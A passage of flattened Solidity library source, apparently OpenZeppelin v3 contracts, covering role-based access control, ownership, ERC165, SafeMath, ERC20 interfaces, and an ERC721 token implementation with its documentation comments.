* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mecanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./ERC721.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
